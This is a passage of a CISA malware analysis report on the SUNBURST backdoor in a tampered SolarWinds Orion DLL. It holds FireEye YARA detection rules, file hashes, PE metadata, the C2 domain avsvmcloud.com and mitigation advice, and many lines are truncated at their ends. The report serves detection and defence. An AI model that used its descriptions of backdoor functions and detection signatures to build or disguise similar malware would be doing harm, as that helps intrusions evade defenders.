    condition:
  all of them
  }

- rule FireEye_20_00025668_01 : SUNBURST APT backdoor
  {
    meta:
      Author = "FireEye"
      Date = "2020-12-13"
      Last_Modified = "20201213_1917"
      Actor = "n/a"
      Category = "Backdoor"
      Family = "SUNBURST"
      Description = "This rule is looking for portions of the SUNBURST backdoor that are vital to how it functions. The first signature fnv_xor r
  xor that the sample performs on process, service, and driver names/paths. SUNBURST is a backdoor that has the ability to spawn and kill p
  delete files, set and create registry keys, gather system information, and disable a set of forensic analysis tools and services."
      MD5_1 = ""
      SHA256_1 = ""
    strings:
      $cmd_regex_encoded = "U4qpjjbQtUzUTdONrTY2q42pVapRgooABYxQuIZmtUoA" wide
      $cmd_regex_plain = { 5C 7B 5B 30 2D 39 61 2D 66 2D 5D 7B 33 36 7D 5C 7D 22 7C 22 5B 30 2D 39 61 2D 66 5D 7B 33 32 7D 22 7C
  66 5D 7B 31 36 7D }
      $fake_orion_event_encoded = "U3ItS80rCaksSFWyUvIvyszPU9IBAA==" wide
      $fake_orion_event_plain = { 22 45 76 65 6E 74 54 79 70 65 22 3A 22 4F 72 69 6F 6E 22 2C }
      $fake_orion_eventmanager_encoded = "U3ItS80r8UvMTVWyUgKzfRPzEtNTi5R0AA==" wide
      $fake_orion_eventmanager_plain = { 22 45 76 65 6E 74 4E 61 6D 65 22 3A 22 45 76 65 6E 74 4D 61 6E 61 67 65 72 22 2C }
      $fake_orion_message_encoded = "U/JNLS5OTE9VslKqNqhVAgA=" wide
      $fake_orion_message_plain = { 22 4D 65 73 73 61 67 65 22 3A 22 7B 30 7D 22 }
      $fnv_xor = { 67 19 D8 A7 3B 90 AC 5B }
    condition:

$fnv_xor and ($cmd_regex_encoded or $cmd_regex_plain) or (($fake_orion_event_encoded or $fake_orion_event_plain) and ($fake_orion_eventmanager_encoded or $fake_orion_eventmanager_plain) and ($fake_orion_message_encoded and $fake_orion_messag
}

- rule FireEye_20_00025668_02 : SUNBURST APT backdoor
  {
    meta:
      Author = "FireEye"
      Date = "2020-12-13"
      Last_Modified = "20201213_1917"
      Actor = "n/a"
      Category = "Backdoor"
      Family = "SUNBURST"
      Description = "The SUNBURST backdoor uses a domain generation algorithm (DGA) as part of C2 communications. This rule is looking
    code that checks for which HTTP method is being used. This is in one large conjunction, and all branches are then tied together via disjunct
    intentionally designed so that if any part of the DGA is re-used in another sample, this signature should match that re-used portion. SUNBUI
    has the ability to spawn and kill processes, write and delete files, set and create registry keys, gather system information, and disable a set
    tools and services."
      MD5_1 = ""
      SHA256_1 = ""
    strings:
      $a = "0y3Kzy8BAA==" wide
      $aa = "S8vPKynWL89PS9OvNqjVrTYEYqNa3fLUpDSgTLVxrR5lzggA" wide
      $ab = "S8vPKynWL89PS9OvNqjVrTYEYqPaauNaPZCYEQA=" wide
      $ac = "C88sSs1JLS4GAA==" wide
      $ad = "C/UEAA==" wide
      $ae = "C89MSU8tKQYA" wide
      $af = "8wvwBQA=" wide
      $ag = "cyzIz8nJBwA=" wide
      $ah = "c87JL03xzc/LLMkvysxLBwA=" wide
      $ai = "88tPSS0GAA==" wide
      $aj = "C8vPKc1NLQYA" wide
      $ak = "88wrSS1KS0xOLQYA" wide
      $al = "c87PLcjPS80rKQYA" wide
      $am = "Ky7PLNAvLUjRBwA=" wide
      $an = "06vIzQEA" wide
      $b = "0y3NyyxLLSpOzIlPTgQA" wide
      $c = "001OBAA=" wide
      $d = "0y0oysxNLKqMT04EAA==" wide
      $e = "0y3JzE0tLknMLQAA" wide
      $f = "003PyU9KzAEA" wide
      $h = "0y1OTS4tSk1OBAA=" wide
      $i = "K8jO1E8uytGvNqitNqytNqrVA/IA" wide
      $j = "c8rPSQEA" wide
      $k = "c8rPSfEsSczJTAYA" wide
      $l = "c60oKUp0ys9JAQA=" wide
      $m = "c60oKUp0ys9J8SxJzMIMBgA=" wide
      $n = "8yxJzMIMBgA=" wide
      $o = "88lMzygBAA==" wide
      $p = "88lMzyjxLEnMyUwGAA==" wide
      $q = "C0pNL81JLAIA" wide
      $r = "C07NzXTKz0kBAA==" wide
      $s = "C07NzXTKz0nxLEnMyUwGAA==" wide
      $t = "yy9IzStOzCsGAA==" wide
      $u = "y8svyQcA" wide
      $v = "SytKTU3LzysBAA==" wide

```
        $w = "C84vLUpOdc5PSQ0oygcA" wide
        $x = "C84vLUpODU4tykwLKMoHAA==" wide
        $y = "C84vLUpO9UjMC07MKwYA" wide
        $z = "C84vLUpO9UjMC04tykwDAA==" wide
    condition:
        ($a and $b and $c and $d and $e and $f and $h and $i) or ($j and $k and $l and $m and $n and $o and $p and $q and $r and $s and ($
    $u and $v and $w and $x and $y and $z and ($aa or $ab)) or ($ac and $ad and $ae and $af and $ag and $ah and ($am or $an)) or ($ai and
    and ($am or $an))
    }
```

ssdeep Matches

94 ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6

PE Metadata

Compile Date	2020-04-21 10:53:33-04:00
Import Hash	dae02f32a21e03ce65412f6e56942daa
Company Name	SolarWinds Worldwide, LLC.
File Description	SolarWinds.Orion.Core.BusinessLayer
Internal Name	SolarWinds.Orion.Core.BusinessLayer.dll
Legal Copyright	Copyright © 1999-2020 SolarWinds Worldwide, LLC. All Rights Reserved.
Original Filename	SolarWinds.Orion.Core.BusinessLayer.dll
Product Name	SolarWinds.Orion.Core.BusinessLayer
Product Version	2020.2.5200.12394

PE Sections

MD5	Name	Raw Size	Entropy
7810cd48d16fb0d3c3a0c855f2d9225a	header	512	2.907043
f249efb5d984eb62f325179a721985f3	.text	1018368	5.567580
9aea23ae0750b77218d9a85d4896eb0c	.rsrc	1536	3.005835
0db83a842dbb0bb3396691d4238bd216	.reloc	512	0.101910

Description

This file has been identified as a SolarWinds Application module containing a patched in SUNBURST backdoor. This embedded SUNBURST cod functions as "SolarWinds.Orion.Core.BusinessLayer.dll" (32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77), and is digital certificate.

Relationship Summary

32519b85c0...	Connected_To	avsvmcloud.com
32519b85c0...	Contained_Within	d0d626deb3f9484e649294a8dfa814c5568f846d5aa02d4cdad5d041a29d5600
avsvmcloud.com	Connected_From	32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77
d0d626deb3...	Contains	32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77

Conclusion

Please refer to the following resources for additional information and mitigation actions related to this campaign:

1) Alert (AA20-352A): Advanced Persistent Threat Compromise of Government Agencies, Critical Infrastructure, and Private Sector Organizations https://us-cert.cisa.gov/ncas/alerts/aa20-352a

2) Emergency Directive 21-01: Mitigate SolarWinds Orion Code Compromise
https://cyber.dhs.gov/ed/21-01/

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organizatio configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

- Maintain up-to-date antivirus signatures and engines.
- Keep operating system patches up-to-date.

- Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
- Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unl
- Enforce a strong password policy and implement regular password changes.
- Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
- Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
- Disable unnecessary services on agency workstations and servers.
- Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file
- Monitor users' web browsing habits; restrict access to sites with unfavorable content.
- Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
- Scan all software downloaded from the Internet prior to executing.
- Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Specia **"Guide to Malware Incident Prevention & Handling for Desktops and Laptops".**

Contact Information

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at t https://www.surveymonkey.com/r/G8STDRY

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regar desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manua To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

- Web: https://malware.us-cert.gov
- E-Mail: submit@malware.us-cert.gov
- FTP: ftp.malware.us-cert.gov (anonymous)

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and ph Reporting forms can be found on CISA's homepage at www.cisa.gov.

February 8, 2021: Initial Version

April 15, 2021: Updated with Attribution Statement